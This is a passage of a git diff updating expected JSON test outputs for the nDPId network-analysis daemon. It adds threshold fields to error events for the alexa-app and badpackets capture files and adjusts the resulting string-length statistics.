G4","subjectDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=dp-gw-na.amazon.com","fingerprint":"27:E5:06:34:82:69:BC:97:5E:28:A3:C1:5A:23:81:C7:E3:28:95:8C"}}} -00194{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1524,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976094729619} +00294{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1490976094729619,"packet_id":1524,"source":"alexa-app.pcapng","alias":"nDPId-test","layer_type":35085,"global_ts_usec":1490976094729619} 00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1524,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1490976094725797,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} 00913{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":1529,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":27,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1490976041150466,"flow_src_last_pkt_time":1490976041150466,"flow_dst_last_pkt_time":1490976041151487,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":37,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":37,"flow_dst_max_l4_payload_len":53,"flow_src_tot_l4_payload_len":37,"flow_dst_tot_l4_payload_len":53,"midstream":0,"thread_ts_usec":1490976094742222,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":54886,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Amazon","proto_id":"5.178","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web"}} 00878{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":1529,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":14,"flow_state":"finished","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1490976027958387,"flow_src_last_pkt_time":1490976030758514,"flow_dst_last_pkt_time":1490976027958387,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":60,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":60,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":120,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1490976094742222,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"ICMP","proto_id":"81","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -1194,6 +1194,6 @@ ~~ total memory freed........: 7112403 bytes ~~ total allocations/frees...: 127495/127495 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 192 chars +~~ json string min len.......: 292 chars ~~ json string max len.......: 2388 chars -~~ json string avg len.......: 1290 chars +~~ json string avg len.......: 1340 chars diff --git a/test/results/badpackets.pcap.out b/test/results/badpackets.pcap.out index ded98ec40..8359725ff 100644 --- a/test/results/badpackets.pcap.out +++ b/test/results/badpackets.pcap.out @@ -1,207 +1,197 @@ 00490{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"badpackets.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00553{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1495451029466717} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":237,"global_ts_usec":1495451029466717} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451029466717,"packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":237,"global_ts_usec":1495451029466717} 00642{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":271,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcP1QgAOcRe9CDTlH+zLpQ5QA1zGcGtUqtAWiFkwABAAAADAABC3BobDFzcHJ0MTA4AmFkA2RsYQNtaWwAAAEAAcAbAAYAAQAAAh0ALQhlYWdsZWliMcAYC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAh0AmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":2,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271,"global_ts_usec":1495451030401327} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451030401327,"packet_id":2,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271,"global_ts_usec":1495451030401327} 00686{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":305,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc9nogAOcRxKmDTlH+zLpQ5QA1PsIG13F6XwyFkwABAAAADAABC3BobDFzcHJ0MTA4BGRhYXMDZGxhA21pbAAAAQABwBgABgABAAAAbgAwCGVhZ2xlaWIxAmFkwB0LcmFuZHkuc21pdGjAHQExm5UAAAC0AAAAEgAJOoAAAAOEwBgALgABAAAAbgCgAAYIAwAAALRZLyttWSHuXTGGBGRhYXMDZGxhA21pbABfZgMcUaz74\/opjmPI6fIN7S4Ga9GN4s2JVqvb0uXXvbdLi9ee5JaFRYVlFB0RVerGRt3pX5esuSlY9ySHVHjOBX09ZI1nwdlSMxmFBY9ZemmmfYIR43tvzwqFnbufNVeL7\/vc0q83XBfNipWbDRE5bz+qVR8="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":3,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":161,"global_ts_usec":1495451039146849} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451039146849,"packet_id":3,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":161,"global_ts_usec":1495451039146849} 00543{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc+0kgAD4R+SzH+X0BzLpQ5QA17UEGadbGg\/+EAAABAAcAAAABAmFjAmluAAAwAAHADAAwAAEAAAOEAIgBAAMHAwEAAaeWg1I7aL35m5DCbWdqIX1+dVtvwe4HaQJz7QrnwC+P8\/7Gi54fYbmoWgZ9BgFy+rRM5fLeLdyqgaAlGaU+qP7EB\/v\/pv\/GHQKcotJZ+biekG9TccSc6BYmV0hXKBRudE\/xZj\/qEl0HEAn3LKZa"} -00234{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","size":46,"expected":60,"global_ts_usec":1495451051753069} +00334{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451051753069,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","size":46,"expected":60,"global_ts_usec":1495451051753069} 00339{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":46,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcmCogADkR555F\/HiszLpQ5QA15twF1D2Yf1WEAA=="} -00207{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":12,"global_ts_usec":1495451051753069} +00307{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451051753069,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":12,"global_ts_usec":1495451051753069} 00339{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":46,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcmCogADkR555F\/HiszLpQ5QA15twF1D2Yf1WEAA=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":5,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":242,"global_ts_usec":1495451098935701} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451098935701,"packet_id":5,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":242,"global_ts_usec":1495451098935701} 00648{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":276,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc\/u8gAOcRvDSDTlH+zLpQ5QA1ofQGuiMOhg6FkwABAAAADAABDG5jYjFzZHYwMDcyMQNkaXICYWQDZGxhA21pbAAAAQABwCAABgABAAAAmQAtCGVhZ2xlaWIxwB0LcmFuZHkuc21pdGjAIHeyKSsAACowAAAEOAAJOoAAAAOEwCAALgABAAAAmQCbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwq3LEc5Fr"} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":6,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451112063911} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451112063911,"packet_id":6,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451112063911} 00517{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1QgADURSISMrBHtzLpQ5QA1RHoMIdhWPYOEEAABAA0ABAANCGVkZ2UtaGRxA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgAf19hoQ062mEgmdReiMHoN\/8sTkGCL+YszFpFSC7g="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":7,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":469,"global_ts_usec":1495451113347704} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113347704,"packet_id":7,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":469,"global_ts_usec":1495451113347704} 00954{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":503,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":503,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAAgADIR1DehNyACzLpQ5QA1P3oNZUi5Fp+EEAABAA8ABAANA3d3dwRzd3BjBG5vYWEDZ292AAABAAHADAAFAAEAAVGAAA8IZWRnZS1ud3MDd29jwBXADAAuAAEAAVGAASEABQUEAAFRgFkri7dZIlE3vjIEc3dwYwRub2FhA2dvdgAj4QRDWjZKG5AY0wcqp07zy2N5LWrEg0t\/4W81\/I\/yU9kryWY5M6hQke0XIJhE4dUH120W7nAkWxQJVaZyLoMQin38ZiK2SNs\/MeioL4jAC1CzjiZ9JGBmrvUXfwx4WjCIZO3AWpZFqZpBYNrilA5xXqA6vClBMfN6kWmnwyqYMUdmG8SPzKDGLoKCurB88lxuBmDxFiEc7IRKwyXcJ47WkYAmncTdtBPbcng8wUk\/OSHputwVXEiz+4Hi1YSwyaZ\/bR92tO2XAf2y65TJB549EX80zlNliCWrbo6CKiF1dSuOYR0v1cuBHf05mH4wAy8XKl6vLSm5lJ0SyJmHuu8SwC8ABQABAAABLAAMB2VkZ2UtcDEBbMBhwC8ALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":8,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":329,"global_ts_usec":1495451113448546} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113448546,"packet_id":8,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":329,"global_ts_usec":1495451113448546} 00763{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":363,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAEgADIR1DahNyACzLpQ5QA1FAoM2VerW6eEEAABAAYABAANA3d3dwNvcGMEbmNlcARub2FhA2dvdgAAAQABwAwABQABAAABLAAJBm9yaWdpbsAQwAwALgABAAABLAEhAAUFBQAAASxZK4tpWSJQ6VBkBG5jZXAEbm9hYQNnb3YAvM3K1OBR2VQQj4QVOGZxr6WG5B4+fABWkfGP1KGkGFsR4zOi7Eo7vmr2TJiaR66HfSMoitVNm4kwmQeusE1J+sPLARPh02h5Z1H+HsQ2b48KB6bVXbum1BeZX4yX1eoeScXJkBrFAe8F6pDF+Ml8UnuCbXzf+\/NtRUw9ZGk\/b8n+GLS5YEkLV6tINZ1NF7znVhYpo87DIH1d72melFmv8f65eH1mu6AzkUXSI502HCpox0\/KLdxxAP64c2LL03iQVYlgYQmiBnMT8YejrLi9PuDdsHa5wauH"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":9,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1160,"global_ts_usec":1495451113710166} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113710166,"packet_id":9,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1160,"global_ts_usec":1495451113710166} 01883{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1194,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAIgADIR1DWhNyACzLpQ5QA1\/wMKUGaWU+KEEAABAAIABAANA3d3dw9saWdodG5pbmdzYWZldHkEbm9hYQNnb3YAAAEAAcAMAAEAAQAAASwABIxaccjADAAuAAEAAAEsARwAAQUEAAABLFkri31ZIlD9PnMEbm9hYQNnb3YAFBTQGedUPGXlY8bN43JvkPLP\/vLkCv4PmFD+Yp\/wKTn0+3B8hqXsIbo6jgqCi3hM+7l3yndT6nZEOODHtVyiul17+C7883eqnN76iy6lo9R1eEKHDTvsvSdJsQx2dFH5NYDWOOjTdL3jybIGoJFlbIi+hHfzKdzFb0fO0kDYAdFs0mGEVvk\/ydoCnsE67n5RXLgALUI8enDF8d5JUZ3gz4Jmmium7SfonREBNj5MfQvR1R1JvVYPQQEWggJtIusb+MaDn2Gu7eaN7\/yF8WIh6HnwxWN7Z+YBGUTnTr0qXbOrrAMUycgB\/+tQ+zRqQIpZcUyO0tGVISl48WAUZAKbu8BcAAIAAQABUYAACAVucy1td8BcwFwAAgABAAFRgAAIBW5zLW53wFzAXAACAAEAAVGAAAcEbnMtZcBcwFwALgABAAFRgAEcAAIFAgABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AH\/\/EM5XxGUAJzS0k3FL5gqwtJA4FBuTo0uxBkbdgNOM7eIqyHshwuqLDq45ztJouzzqb5\/+QwdCyRboRA6YQcMyduo30hAwZBPjCwFtGtCbCO0zddpUh\/DZBFgSPh2dFJqb9c9JuhHoz3+E4Y9URJn+5DpaoXNsnl89Rx6siUb+Rihm7C+Vk315amYja69lUQmg3PNcdUVXF76DLNDZ9f0J\/NtTrjCtrMqxXjzjQDEOf1LyNKCNPvCsDV8BtRjU3VnXwwNw9fAKyA0zjlIJMDcZHgtkbmrTB9mFGy8tMxbqfFpB+6mG8tYtHiQWLDq6x9iFxvHJ7caHhZ1nCy6pTLXBmgABAAEAAVGAAASMWiHtwZoAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8FyAAEAAQABUYAABIysEe3BcgAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wYYAAQABAAFRgAAEoTcgAsGGABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBmgAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GaAC4AAQABUYAB"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":10,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":366,"global_ts_usec":1495451113809047} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113809047,"packet_id":10,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":366,"global_ts_usec":1495451113809047} 00817{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":400,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAQgADIR1DOhNyACzLpQ5QA1Z54M\/oF1LsqEEAABAAYABAANA3d3dw9hdmlhdGlvbndlYXRoZXIDZ292AAABAAHADAAFAAEAAAB4ABwPYXZpYXRpb253ZWF0aGVyBG5jZXAEbm9hYcAgwAwALgABAAAAeAEnAAUFAwAAAHhZK4siWSJQoibZD2F2aWF0aW9ud2VhdGhlcgNnb3YANj2uOA0qhMT+eoVBqvrrykuNqwkPVt8jdEhzF2Xc5aVSTWD5VljYyQWYC5vB2Pco+JCgeS7v+6P3ExqHKmNR0+\/rk7b14BLW1\/5AmNi\/7vapdiTq7yn43bnad9VKhNoyKYZcBBZ1b9tNkBEnELdSDbcDAQG053jlJWYvGHyMMJCHtDL+CPBtpJodRAacY+oZWSnBeiVMlLUCIdwUfsdnq5J46wTjS8+g3ZKLn4UR1XowHnaGOySsUz9hWM4CwtpTsVExgrAuWZ3ZCQmSQcr07tJKgCI7moO7D0IOvF0jbYwvdg=="} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","size":59,"expected":60,"global_ts_usec":1495451113881614} +00335{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113881614,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","size":59,"expected":60,"global_ts_usec":1495451113881614} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAUgADIR1DKhNyACzLpQ5QA1J78LqfTQ7QyEEAABAAQABAAND2F2aWE="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":25,"global_ts_usec":1495451113881614} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113881614,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":25,"global_ts_usec":1495451113881614} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAUgADIR1DKhNyACzLpQ5QA1J78LqfTQ7QyEEAABAAQABAAND2F2aWE="} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","size":52,"expected":60,"global_ts_usec":1495451113931523} +00335{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113931523,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","size":52,"expected":60,"global_ts_usec":1495451113931523} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ggADURSICMrBHtzLpQ5QA156AF2iNRhq2EEAABAAUAAA=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":18,"global_ts_usec":1495451113931523} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113931523,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":18,"global_ts_usec":1495451113931523} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ggADURSICMrBHtzLpQ5QA156AF2iNRhq2EEAABAAUAAA=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":13,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159,"global_ts_usec":1495451113998245} +00311{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451113998245,"packet_id":13,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159,"global_ts_usec":1495451113998245} 01887{"packet_event_id":1,"packet_event_name":"packet","packet_id":13,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1193,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs9cgADgR3VKMWiHtzLpQ5QA1zoEKT2TtZcOEEAABAAIABAANA2xiMwRub2RjBG5vYWEDZ292AAABAAHADAABAAEAAAJYAASMWusrwAwALgABAAACWAEhAAEFBAAAAlhZK4uEWSJRBKt+BG5vZGMEbm9hYQNnb3YAhdURPDXBvcbzg1l\/P4qdc3ehRb89ofPJw8vL9RtggwAs8+7Az1qJ5M1Ux+8oZ8zHN5D0+c3BNJjQUPVveXspLDCZdxRFo+1RK\/tIlQre9Z6oXyBunsD3VON8J6JqaO9QLW\/+N+v0+3k4JQ9jEXRD+gylLnNEC4jSZM\/eEVcWh8\/Z\/hQiQb73n\/IE05pfqtTEC1C28x4rjMLnWyPcsUNmAQ1wIIVqzpP6A5VTnvp4RsDzlI9MxhvYxC13eFkguAyj4PpKGJ96o+9WpCrhjrZ5Qe97GjxQ4mnxF+La4DD1K7LlHpU2xfdLMaXTNnb3xrtp8tFG6AyME9mAN3ydsa2necBRAAIAAQAAAlgACAVucy1td8BWwFEAAgABAAACWAAHBG5zLWXAVsBRAAIAAQAAAlgACAVucy1ud8BWwFEALgABAAACWAEhAAIFAwAAAlhZK4uEWSJRBKt+BG5vZGMEbm9hYQNnb3YAPu1CKNIp6mLVE1SewqKYDKAuMQAxscJGLV3f6RN5\/1\/zVgPiH7\/AAxiJPf5SqJZzB9ypQ5Q0SJU+u+qo4UNT2A9ZikHLsvZpu3XY7qllQDLKzFsdAlym\/205od0dRRYpJQQB+XO+nZdpRMc7hCOpc4LOfHHMxA20k1GcxwGN4I6+Yn7DCzd2AzmEcNA6sRAh18oRWpULvUa3Zs5aU9AnCawyL0iB3kXc34Hs5uavwPC1Ojau\/6b8vUkP2tuAEGoEy3ndP2uce\/kL5Jrjx